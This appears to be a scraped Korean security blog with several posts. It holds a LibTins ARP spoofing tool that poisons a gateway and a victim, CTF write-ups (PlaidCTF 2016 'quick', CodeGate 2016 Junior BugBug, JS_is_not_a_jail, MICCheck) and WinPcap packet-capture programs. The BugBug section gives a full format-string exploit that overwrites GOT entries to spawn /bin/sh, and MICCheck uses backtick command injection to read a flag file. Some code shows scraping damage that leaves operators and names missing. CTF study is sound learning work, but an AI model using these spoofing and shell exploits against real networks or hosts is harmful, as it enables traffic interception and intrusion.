반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include<iostream>
#include<unistd.h>
#include<tins/tins.h>
#include<thread>
 
using namespace std;
using namespace Tins;
 
void doArpSpoofing(NetworkInterface iface,
                    IPv4Address gw,
                    IPv4Address victim,
                    NetworkInterface::Info info)
{
    PacketSender send;
    EthernetII::address_type gw_hw,victim_hw;
 
    gw_hw = Utils::resolve_hwaddr(iface,gw,send);
    victim_hw = Utils::resolve_hwaddr(iface,victim,send);
 
    cout << "[*] Using Gateway HW Address   " << gw_hw << endl;
    cout << "[*] Using Victim HW Address    " << victim_hw << endl;
    cout << "[*] Using Own HW Address       " << info.hw_addr << endl;
    ARP gw_arp = ARP(gw,victim,gw_hw,info.hw_addr);
    ARP victim_arp = ARP(victim,gw,victim_hw,info.hw_addr);
    gw_arp.opcode(ARP::REPLY);
    victim_arp.opcode(ARP::REPLY);
    EthernetII to_gw = EthernetII(gw_hw,info.hw_addr) / gw_arp;
    EthernetII to_victim = EthernetII(victim_hw,info.hw_addr) / victim_arp;
 
    while(true){
        cout << "[-] Send Corrupt ARP" << endl;
        send.send(to_gw,iface);
        send.send(to_victim,iface);
        sleep(5);
    }
}
int main(int argc, char* argv[])
{
    IPv4Address gw, victim;
    if(argc != 3){
        cout << "[-] Usage " << argv[0<< " <Gateway> <Victim>" << endl;
        return 1;
    }
    try {
        gw = argv[1];
        victim = argv[2];
    }
    catch(...){
        cout << "[!] Wrong IP Finded!" << endl;
        return 2;
    }
    NetworkInterface iface;
    NetworkInterface::Info info;
    try {
        iface = gw;
        info = iface.info();
    }
    catch(runtime_error& e){
        cout << "[!] " << e.what() << endl;
        return 3;
    }
    cout << "[-] Starting ARP Spoofing..." << endl;
 
    thread t(&amp;doArpSpoofing,iface,gw,victim,info);
 
 
    return 0;
}
 
 
cs


'Network' 카테고리의 다른 글

WinPcap 4  (0) 2016.02.23
WinPcap 3  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20
반응형

Swift Linux 용 컴파일된 바이너리이다.



여기서 한번 틀렸다고 하는데

여기는 일부러 틀리게 만든 곳이니 무시하고 지나간다.

이때 _TTSg5Vs5UInt8___TFSag9subscriptFSix는

문자열을 하나 가져오는 함수인것을 알 수 있다.




위 있는 sub_403510에 값을 넣고 연산을 통해

나온 값을 저장한 뒤 나중에 비교연산을 하는 것을 알 수 있다.


연산은 간단하게 a1의 하위 3바이트를 가지고 a2를 ROR하는게 끝이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
= "\x00\x50\x43\x8a\x64\xed\xa6\xab\x93"\
"\xcc\xeb\xc2\x9a\xfa\x6a\xab\x93\xcc\xeb"\
"\x6a\xbb\x62\x33\xd1\xf5\xc2\x9a\xfa\x6a"\
"\xbb\x62\x33\xd1\xd7"
= ""
key = ""
= 0
for i in range(33):
    t = s & 7
    if t == 0:
        key += k[i+1]
        s = ord(k[i+1])
        continue
    a1 = ord(k[i+1]) << t
    a2 = ord(k[i+1]) >> (8-t)
    a = (a1 | a2) & 0xff
    key+= chr(a)
    s = a
print key
cs

PCTF{5ur3_a5_5ur3_5w1ft_a5_5w1ft}


'CTF' 카테고리의 다른 글

Codegate2017 prequals Writeup  (0) 2017.02.15
H3X0R - Stage1  (0) 2017.01.08
CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
반응형

코드게이트 2016 주니어 BugBug

포멧 스트링 문제이다.

로또를 풀때 시드값을 릭하는 것은

Name 다음 바로 시드가 위치하기 때문에

Name을 체우게 되면 시드를 릭할 수 있다.


그 다음에는 포멧 스트링인데

첫번째 때 GOT를 하고 exit를 오버라이딩해서

system을 구하고 다시 이름을 입력 받는 부분으로 되돌아 간다

두번째 때 printf 를 system으로 오버라이딩한 다음

exit를 printf(Name)으로 돌려 system("/bin/sh")를 실행 시키게 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from socket import *
from time import *
from struct import pack,unpack
from ctypes import *
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
connectto = ('192.168.226.130',9623)
exit_got = 0x804a024
printf_got = 0x804a010
libc_start_got=0x804a02c
back_scanf = 0x804883d
back_printf = 0x8048960
def main():
    libc = CDLL('libc.so.6')
    S = socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
   
    sleep(0.5)
    print S.recv(1024)
   
    # leak GOT, overwrite exit GOT to back_scan
    payload1 = ""
    payload1 += p(libc_start_got)
    payload1 += "%17$saaa"
    payload1 += p(exit_got) + p(exit_got+2)
    T = (back_scanf << 16+ 39
    payload = ""
    for i in range(0,2):
        tmp = ((T >> (16*(i+1))) & 0xffff- ((T >> (16*i)) & 0xffff)
        if tmp < 0:
            tmp += 0x10000
        payload += "%"+str(tmp)+"c"+"%"+str(i+20)+"$n"
    payload1 += payload
    payload1 += "A"*(0x63-len(payload1))+'B'
    S.send(payload1)
    sleep(0.5)
    re = S.recv(1024)
    print re
    seed = up(re[re.find('B')+1:re.find('B')+5])
    print "[*] Seed : "+str(hex(seed))
    libc.srand(seed)
 
    # LOTTO
    Lotto = []
    LottoS = ""
    length = 0
    while length != 6:
        tmp = libc.rand() % 45 + 1
        if tmp in Lotto:
            continue
        Lotto.append(tmp)
        LottoS+=str(tmp)+" "
        length+=1
    print LottoS
    S.send(LottoS+"\n")
    sleep(1)
    leak = S.recv(102400)
    
    # LEAK
    print leak
    libc_start = up(leak[21:25])
    print "[!] libc_start_main : "+str(hex(libc_start))
    setvbuf = up(leak[25:29])    
    print "[!] setvbuf         : "+str(hex(setvbuf))
    system = libc_start - 0x19990 + 0x40190
    print "[!] system          : "+str(hex(system))
    
    # NEW START
    # Overwrite printf_got to system
    sleep(0.5)
    payload2 = ""
    payload2 += "/bin/sh;"
    payload2 += p(printf_got) + p(printf_got+2)
    payload2 += p(exit_got) + p(exit_got+2)
    T = (((back_printf << 32+ system) << 16+ 24
    payload = ""
    for i in range(0,4):
        tmp = ((T >> (16*(i+1))) & 0xffff- ((T >> (16*i)) & 0xffff)
        if tmp < 0:
            tmp += 0x10000
        payload += "%"+str(tmp)+"c"+"%"+str(i+20)+"$n"
    payload2 += payload 
    payload2 += "A"*(0x63-len(payload2))+"B"
    S.send(payload2)
    print S.recv(1024)
 
    # LOTTO
    Lotto = []
    LottoS = ""
    length = 0
    while length != 6:
        tmp = libc.rand() % 45 + 1
        if tmp in Lotto:
            continue
        Lotto.append(tmp)
        LottoS+=str(tmp)+" "
        length+=1
    print LottoS
    S.send(LottoS+"\n")
    sleep(2)
    print S.recv(402400)
    print "Get Shell"
    S.send("id;\n")
    print S.recv(1024)
 
if __name__ == "__main__":
    main()
cs


'CTF' 카테고리의 다른 글

H3X0R - Stage1  (0) 2017.01.08
PlaidCTF 2016 quick  (0) 2016.04.18
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
반응형

코드게이트 2016 주니어 JS_is_not_a_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function challenge100 (arr) {
    var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
    var check = "20150303";
 
    if((arr === null || arr === undefined)) {
        print("arr is null or undefined.");
        return;
    }
 
    if(!arr.hasOwnProperty('length')) {
        print("length property is null or undefined.");
        return;
    }
 
    if(arr.length >= 0) {
        print("i think you're not geek. From now on, a GEEK Only!");
        return;
    }
 
    if(Object.getPrototypeOf(arr) !== Array.prototype) {
        print("Oh.... can you give me an array?");
        return;
    }
 
    var length = check.length;
    for(var i=0;i<length;i++) {
        arr[i] = random_value[Math.floor(Math.random() * random_value.length)];
    }
 
    for(i=0;i<length;i++) {
        if(arr[i] !== check[i]) {
                print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)");
                return;
        }
    }
    print("Yay!!");
    print(flag);
}
cs

JS challenge 내용이다.
Array 함수 내용이면서 내용이 0미만이어야 하는데
그냥 함수를 만들면 된다.
또한 렌덤함수로 인해 20150303을 맞출 수 없는데
이때도 그냥 함수를 만들면 된다. 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Array() { this.length=-1;}
function math(){
    this.test=-1;
    this.random = function(){return 1;};
    this.floor = function(x){
        this.test+=1;
        if(this.test==0return 22;
        if(this.test==1return 7;
        if(this.test==2return 2;
        if(this.test==3return 30;
        if(this.test==4return 7;
        if(this.test==5return 4;
        if(this.test==6return 7;
        if(this.test==7return 4;
    };
}
var Math=new math();
var test = new Array();
challenge100(test);
cs


'CTF' 카테고리의 다른 글

PlaidCTF 2016 quick  (0) 2016.04.18
CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18
반응형

코드게이트 2016 주니어 MICCheck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
 
int main( int argc, char *argv[], char **environ )
{
    char buf[12= { 0, };
    char cmd[2048= { 0, };
    unsigned int i = 0;    
 
    char **e;
    size_t len;
 
    printf"input path :" );
    fgets( buf, 10, stdin );
 
    for( i = 0; i <= 11; i++ ) {
        if( buf[i] == '\'' ) exit(0);
        if( buf[i] == '&' ) exit(0);
        if( buf[i] == ';' ) exit(0);
        if( buf[i] == '|' ) exit(0);
        if( buf[i] == '\"' ) exit(0);
        if( buf[i] == ' ' ) exit(0);
    }
 
    
    sprintf( cmd, "/bin/ls -al /dev/%s", buf );
 
    for( e = environ; *e; ++e ) {
        len = strlen( *e );
        memset( *e, 0x00, len );
    }
 
    setregid( 10031003 );
    system( cmd );
 
    return 0;
}
cs

위는 MICCheck.c 이다
입력받은 값을 /bin/ls -al /dev/ 뒤에 붙이는데
`(Back quote)가 사용 가능 하다는 것을 이용해서

1
2
3
4
5
#include<stdio.h>
int main(void)
{
    system("cat /home/mic/mic.flag.txt");
}
cs

로 파일을 만들고 컴파일해서

`./(파일이름)` 로 넣어주면 에러로 키가 출력된다.

'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18
2015 YISF 순천향대 본선 및 예선 WriteUp  (2) 2015.09.07
반응형

Receive Final

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include<pcap.h>
#include<malloc.h>
#include"Header.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
#pragma warning(disable:4996)
void packet_view(u_char *const struct pcap_pkthdr *const u_char *);
void print_hex(const u_char *int);
int main(void)
{
    char *dev;
    pcap_t *pd;    
    bpf_u_int32 net, subnet;    
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fcode;
 
    if (!(dev = pcap_lookupdev(errbuf))) {
        printf("[!] pcap_lookupdev\n");
        return -1;
    }
    if (pcap_lookupnet(dev, &net, &subnet, errbuf) < 0) {
        printf("[!] pcap_lookupnet\n");
        return -1;
    }
    if (!(pd = pcap_open_live(dev, 6553513000, errbuf))) {
        printf("[!] pcap_open_live\n");
        return -1;
    }
    if (pcap_compile(pd, &fcode, "tcp port 9623"0, subnet) < 0) {
        printf("[!] pcap_complie\n");
        return -1;
    }
    if (pcap_setfilter(pd, &fcode) < 0) {
        printf("[!] pcap_setfilter\n");
        return -1;
    }
    printf("[-] Listening\n");
    if (pcap_loop(pd, 0, packet_view, NULL< 0) {
        printf("[!] pcap_loop\n");
        return -1;
    }
    return 0;
}
void packet_view(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    int datalen = 0;
    char* buffer;
    ether_header *eh;
    ip_header *iph;
    udp_header *uh;
    tcp_header *th;
    u_int ip_len;
    
    printf("[*] Received Packet\n");
    printf("[*] Length: 0x%x\n", header->len);
    print_hex(pkt_data, header->len);
 
    eh = (ether_header*)pkt_data;
    printf("[*] Ethernet\n");
    printf("\tDestination: %02x-%02x-%02x-%02x-%02x-%02x\n", eh->eth_dst[0], eh->eth_dst[1], eh->eth_dst[2], \
        eh->eth_dst[3], eh->eth_dst[4], eh->eth_dst[5]);
    printf("\tSource:      %02x-%02x-%02x-%02x-%02x-%02x\n", eh->eth_src[0], eh->eth_src[1], eh->eth_src[2], \
        eh->eth_src[3], eh->eth_src[4], eh->eth_src[5]);
    if (ntohs(eh->eth_type) == ETHERTYPE_IP)
    {
        iph = (ip_header*)(pkt_data + ETH_HLEN);
        ip_len = (iph->ip_len & 0xf* 4;
 
        printf("[*] IP\n");
        printf("\tDestination:    %d.%d.%d.%d\n", iph->ip_dst[0], iph->ip_dst[1], iph->ip_dst[2], iph->ip_dst[3]);
        printf("\tSource:        %d.%d.%d.%d\n", iph->ip_src[0], iph->ip_src[1], iph->ip_src[2], iph->ip_src[3]);
        if (iph->ip_p == IPPROTO_TCP)
        {
            th = (tcp_header*)(pkt_data + ETH_HLEN + IP_HLEN);
            printf("[*] TCP\n");
            printf("\tDestPort:    %d\n", ntohs(th->tcp_dport));
            printf("\tSrcPort:    %d\n", ntohs(th->tcp_sport));
            printf("\tSEQ:        %X\n", ntohl(th->tcp_seqnum));
            printf("\tACK:        %X\n", ntohl(th->tcp_acknum));
            datalen = header->len - ETH_HLEN - IP_HLEN - th->tcp_hlen;
            buffer = (char*)_alloca(datalen+2);
            strncpy(buffer, (char*)pkt_data + ETH_HLEN + IP_HLEN + th->tcp_hlen, datalen);
            buffer[datalen] = NULL;
            printf("\tData: %s\n", buffer);
        }
        if (iph->ip_p == IPPROTO_UDP)
        {
            uh = (udp_header*)(pkt_data + ETH_HLEN + IP_HLEN);
            printf("[*] UDP\n");
            printf("\tDestPort:    %d\n", ntohs(uh->udp_dport));
            printf("\tSrcPort:    %d\n", ntohs(uh->udp_sport));
            datalen = header->len - ETH_HLEN - IP_HLEN - sizeof(udp_header);
            buffer = (char*)_alloca(datalen + 2);
            strncpy(buffer, (char*)pkt_data + ETH_HLEN + IP_HLEN + sizeof(udp_header), datalen);
            buffer[datalen] = NULL;
            printf("\tData: %s\n", buffer);
 
        }
    }
    printf("----------------------------------------\n");
}
void print_hex(const u_char *data, int len)
{
    int i, j;
    printf("Addr   ");
    for (i = 0; i < 16; i++)
        printf("%02X ", i);
    for (i = 0; i < 16; i++)
        printf("%X", i);
    printf("\n");
    for (i = 0; i * 16 < len - (len%16); i++) {
        printf("0x%04X ", i * 16);
        for (j = 0; j < 16; j++)
            printf("%02X ", (data + 16 * i)[j]);
        for (j = 0; j < 16; j++) {
            if (((data + 16 * i)[j]>0x1f) && ((data + 16 * i)[j] < 0x7F))
                printf("%c", (data + 16 * i)[j]);
            else
                printf(".");
        }
        printf("\n");
    }
    printf("0x%04X ", i * 16);
    for (j = 0; j < len % 16; j++)
        printf("%02X ", (data + 16 * i)[j]);
    for (; j < 16; j++)
        printf("   ");
    for (j = 0; j < len % 16; j++) {
        if (((data + 16 * i)[j]>0x1f) && ((data + 16 * i)[j] < 0x7F))
            printf("%c", (data + 16 * i)[j]);
        else
            printf(".");
    }
    printf("\n");
}
cs



'Network' 카테고리의 다른 글

LibTins ARP Spoofing  (0) 2016.06.24
WinPcap 3  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20
반응형
Packet Filter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include<pcap.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
#pragma warning(disable:4996)
void packet_view(u_char *const struct pcap_pkthdr *const u_char *);
void print_hex(const u_char *int);
int main(void)
{
    char *dev;                    // device name;
    pcap_t *pd;                    // packet descripter
    bpf_u_int32 net, subnet;    // network, subnetmask
    char errbuf[PCAP_ERRBUF_SIZE];    // error buffer
    struct bpf_program fcode;        // filtering rule
    
    if (!(dev = pcap_lookupdev(errbuf))){    // find device
        printf("[!] pcap_lookupdev\n");
        return -1;
    }
    if (pcap_lookupnet(dev, &net, &subnet, errbuf) < 0){    // get network, subnetmask
        printf("[!] pcap_lookupnet\n");
        return -1;
    }
    /* pcap_open_live
        device
        maximum capture length
        promiscuous mode
        timeout(ms)
        error buffer
    */
    if (!(pd = pcap_open_live(dev, 6553513000, errbuf))) {
        printf("[!] pcap_open_live\n");
        return -1;
    }
    /* pcap_complie
        packet descriptor
        filtering rule
        define filtering rule
        optimizing
        subnetmask
    */
    if (pcap_compile(pd, &fcode, "tcp port 9623"0, subnet) < 0) {
        printf("[!] pcap_complie\n");
        return -1;
    }
    /* pcap_setfilter: apply rule
        packet descriptor
        filtering rule
    */
    if (pcap_setfilter(pd, &fcode) < 0) {
        printf("[!] pcap_setfilter\n");
        return -1;
    }
    printf("[-] Listening");
    /* pcap_loop
        packet descriptor
        receive packet num(0:Endlessloop)
        received packet processing fuction
        user parameter
    */
    if (pcap_loop(pd, 0, packet_view, NULL< 0) {
        printf("[!] pcap_loop\n");
        return -1;
    }
    return 0;
}
// received packet processer
/* packet_view
    user parameter
    header
    packet data
*/
void packet_view(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    int len = 0;
    printf("[*] Received Packet\n");
    
    print_hex(pkt_data, header->len);
    
}
void print_hex(const u_char *data, int len)
{
    int i, j;
    printf("Addr   ");
    for (i = 0; i < 16; i++)
        printf("%02X ", i);
    for (i = 0; i < 16; i++)
        printf("%X", i);
    printf("\n");
 
    for (i = 0; i * 16 < len; i++) {
        printf("0x%04X ", i * 16);
        for (j = 0; j < 16; j++)
            printf("%02X ", (data + 16 * i)[j]);
        for (j = 0; j < 16; j++) {
            if (((data + 16 * i)[j]>0x1f) && ((data + 16 * i)[j] < 0x7F))
                printf("%c", (data + 16 * i)[j]);
            else
                printf(".");
        }
        printf("\n");
    }
    printf("\n");
}
cs


'Network' 카테고리의 다른 글

LibTins ARP Spoofing  (0) 2016.06.24
WinPcap 4  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20

+ Recent posts